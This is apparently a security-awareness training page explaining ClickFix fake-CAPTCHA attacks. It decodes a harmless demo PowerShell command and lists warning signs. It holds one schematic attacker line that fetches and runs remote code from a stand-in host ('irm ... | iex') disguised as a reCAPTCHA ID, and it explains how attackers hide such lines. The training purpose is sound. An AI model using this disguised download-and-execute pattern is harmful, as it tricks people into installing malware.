Stop - this is how ClickFix works.
ClickFix persuades people to run a supplied command on their own device, disguised as harmless verification. A genuine CAPTCHA never asks you to enter commands in a system dialog such as Windows Run or in a terminal.
This is what the page copied to your clipboard
powershell -nop -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACcAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AZABlAGUAcABmAGEAawBlAC4AZABlAC8APwA9AGMAbABpAGMAawBmAGkAeAAnAA==
Decoded, this means
Start-Process 'https://www.deepfake.de/?=clickfix'
The copied command is Base64-encoded (PowerShell -enc). Base64 is encoding, not encryption. Once decoded, it produces the command shown above. The Run dialog would only show the encoded block, not its actual function.
How to recognize ClickFix
- A CAPTCHA stays in the browser. It never asks you to enter commands in Windows Run, PowerShell, or a terminal.
- Any verification that leads you out of the browser into a system dialog is a warning sign.
- A command you start yourself runs with your permissions. Security software such as EDR, antivirus protection, or SmartScreen may detect or block such actions, but this is not guaranteed protection.
- In a real attack, malware could be downloaded at this point. This demo does not do that. The stored command only opens a harmless information page.
Schematic example: how attackers disguise the command
powershell -w hidden -ep bypass -c "irm https://boese.example/x | iex" # ✅ "I am not a robot - reCAPTCHA ID: 8F2A"
This example is schematic and highly simplified. Not every attack works in the same way. The window is often hidden (-w hidden), the actual command is pushed out of the visible area with spaces, and it is disguised with a harmless-looking "Verification ID".
If you completed the steps
- Nothing harmful happened within this training exercise. The command only opens a harmless page.
- As a general rule, close the tab, do not paste anything, and do not run anything. Never enter commands from websites into Windows Run, PowerShell, or a terminal. Then clear your clipboard by copying harmless text.
In a real security incident
If you actually ran such a command outside this training exercise, disconnect the device from the network and report the incident to your responsible IT or security team.